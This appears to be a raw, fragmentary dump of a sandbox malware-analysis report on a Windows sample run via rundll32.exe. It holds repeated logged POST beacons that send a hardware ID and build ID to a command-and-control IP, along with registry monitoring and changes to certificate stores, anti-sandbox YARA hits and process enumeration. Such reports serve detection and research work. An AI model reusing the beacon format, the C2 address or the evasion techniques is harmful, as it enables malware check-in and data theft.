Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------dba9b0dbc59a919b320aContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------dba9b0dbc59a919b320aContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------dba9b0dbc59a919b320aContent-Disposition: form-data; name="format"json------dba9b0dbc59a919b320a--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:02:55 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----5e946ea0547d96702826 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------5e946ea0547d96702826Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------5e946ea0547d96702826Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------5e946ea0547d96702826Content-Disposition: form-data; name="format"json------5e946ea0547d96702826--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:02:58 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----bc7c5b692a9e8050346a Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------bc7c5b692a9e8050346aContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------bc7c5b692a9e8050346aContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------bc7c5b692a9e8050346aContent-Disposition: form-data; name="format"json------bc7c5b692a9e8050346a--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:01 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----a43d2b9e7ee14c72dcd2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name="format"json------a43d2b9e7ee14c72dcd2--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:04 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----af7f3616fff1325641b5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------af7f3616fff1325641b5Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------af7f3616fff1325641b5Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------af7f3616fff1325641b5Content-Disposition: form-data; name="format"json------af7f3616fff1325641b5--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:06 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----851a11edff528699bb43 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------851a11edff528699bb43Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------851a11edff528699bb43Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------851a11edff528699bb43Content-Disposition: form-data; name="format"json------851a11edff528699bb43--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:09 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----f107681a4041f27f3b3c Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------f107681a4041f27f3b3cContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------f107681a4041f27f3b3cContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------f107681a4041f27f3b3cContent-Disposition: form-data; name="format"json------f107681a4041f27f3b3c--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:12 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----624360758c4fd5ce649f Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------624360758c4fd5ce649fContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------624360758c4fd5ce649fContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------624360758c4fd5ce649fContent-Disposition: form-data; name="format"json------624360758c4fd5ce649f--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:15 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----0677680652a81b0a3a04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------0677680652a81b0a3a04Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------0677680652a81b0a3a04Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------0677680652a81b0a3a04Content-Disposition: form-data; name="format"json------0677680652a81b0a3a04--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:16 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8e Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload::==> "------043502fcb2eaa7589f8eContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------043502fcb2eaa7589f8eContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------043502fcb2eaa7589f8eContent-Disposition: form-data; name="format"json------043502fcb2eaa7589f8e--" HTTP/1.1 200 OK Content-Encoding: gzip Content-Type: text/html; charset=UTF-8 Date: Sun 14 Jun 2026 02:03:18 GMT Server: nginx Vary: Accept-Encoding Transfer-Encoding: chunked with response body ==>626C6F636B.......55:Tb00,"rundll32.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\Protocol_Catalog9" (Filter: 1; Subtree: 0) "rundll32.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\WinSock2\Parameters\NameSpace_Catalog5" (Filter: 1; Subtree: 0) "rundll32.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\Windows\TenantRestrictions\Payload" (Filter: 268435460; Subtree: 1) "rundll32.exe" monitors "HKLM\SYSTEM\ControlSet001\Services\crypt32" (Filter: 268435460; Subtree: 0) "rundll32.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\Root" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\ROOT" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\AuthRoot" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\FlightRoot" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TestSignRoot" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\SmartCardRoot" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKCU\Software\Policies\Microsoft\SystemCertificates" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\trust" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Trust" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\CA" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Disallowed" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKCU\Software\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1) "rundll32.exe" monitors "HKLM\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople" (Filter: 268435461; Subtree: 1)56:T5aa,YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00004108" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00004240" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00008812" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00004588" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00009096" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00009928" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00002724" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00004692" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00003924" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00009372" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00004656" YARA signature for common sandbox DLLs that are used for anti-sandbox techniques matched on process "00000000-00005492"57:T447,"rundll32.exe" called "Process32FirstW with parameter [System Process]" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter System" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter Registry" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter smss.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter csrss.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter wininit.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter winlogon.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter services.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter lsass.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter svchost.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter fontdrvhost.exe" (UID: 00000000-00005492) "rundll32.exe" called "Process32NextW with parameter dwm.exe" (UID: 00000000-00005492)58:Tb2f,"rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CERTIFICATES") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CRLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\CA\CTLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CERTIFICATES") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CRLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\DISALLOWED\CTLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CERTIFICATES") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CRLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\ROOT\CTLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CERTIFICATES") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CRLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKCU\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE\CTLS") "rundll32.exe" (Access type: "CREATE"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SYSTEMCERTIFICATES\TRUSTEDPEOPLE")59:T23ce,"POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----18c333da903c0a55900c Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------18c333da903c0a55900cContent-Disposition: form-data; name="hwid"5B26888625475E99E0E3-07de0940-fa46-60E3A1E------18c333da903c0a55900cContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------18c333da903c0a55900cContent-Disposition: form-data; name="format"json------18c333da903c0a55900c--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----c457a0fe2b8a157d82d3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------c457a0fe2b8a157d82d3Content-Disposition: form-data; name="format"json------c457a0fe2b8a157d82d3--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----dba9b0dbc59a919b320a Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------dba9b0dbc59a919b320aContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------dba9b0dbc59a919b320aContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------dba9b0dbc59a919b320aContent-Disposition: form-data; name="format"json------dba9b0dbc59a919b320a--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----5e946ea0547d96702826 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------5e946ea0547d96702826Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------5e946ea0547d96702826Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------5e946ea0547d96702826Content-Disposition: form-data; name="format"json------5e946ea0547d96702826--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----bc7c5b692a9e8050346a Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------bc7c5b692a9e8050346aContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------bc7c5b692a9e8050346aContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------bc7c5b692a9e8050346aContent-Disposition: form-data; name="format"json------bc7c5b692a9e8050346a--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----a43d2b9e7ee14c72dcd2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------a43d2b9e7ee14c72dcd2Content-Disposition: form-data; name="format"json------a43d2b9e7ee14c72dcd2--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----af7f3616fff1325641b5 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------af7f3616fff1325641b5Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------af7f3616fff1325641b5Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------af7f3616fff1325641b5Content-Disposition: form-data; name="format"json------af7f3616fff1325641b5--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----851a11edff528699bb43 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------851a11edff528699bb43Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------851a11edff528699bb43Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------851a11edff528699bb43Content-Disposition: form-data; name="format"json------851a11edff528699bb43--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----f107681a4041f27f3b3c Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------f107681a4041f27f3b3cContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------f107681a4041f27f3b3cContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------f107681a4041f27f3b3cContent-Disposition: form-data; name="format"json------f107681a4041f27f3b3c--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----624360758c4fd5ce649f Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------624360758c4fd5ce649fContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------624360758c4fd5ce649fContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------624360758c4fd5ce649fContent-Disposition: form-data; name="format"json------624360758c4fd5ce649f--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----0677680652a81b0a3a04 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------0677680652a81b0a3a04Content-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------0677680652a81b0a3a04Content-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------0677680652a81b0a3a04Content-Disposition: form-data; name="format"json------0677680652a81b0a3a04--" "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: multipart/form-data; boundary=----043502fcb2eaa7589f8e Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:140.0) Gecko/20100101 Firefox/140.0 Content-Length: 345 Host: 46.225.156.170" with payload:==> "------043502fcb2eaa7589f8eContent-Disposition: form-data; name="hwid"C2D62037A9A42F0E0910-07de0940-fa46-1446819------043502fcb2eaa7589f8eContent-Disposition: form-data; name="build_id"a9df6a5aecc0f48c4202919b745863ba------043502fcb2eaa7589f8eContent-Disposition: form-data; 